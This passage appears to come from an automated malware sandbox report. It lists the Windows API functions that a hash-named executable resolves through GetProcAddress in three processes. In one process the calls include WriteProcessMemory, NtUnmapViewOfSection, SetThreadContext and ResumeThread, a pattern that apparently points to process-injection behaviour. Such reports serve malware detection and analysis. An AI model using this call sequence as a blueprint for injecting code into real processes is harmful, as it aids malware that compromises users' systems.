"GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "GetProcAddress" with a parameter 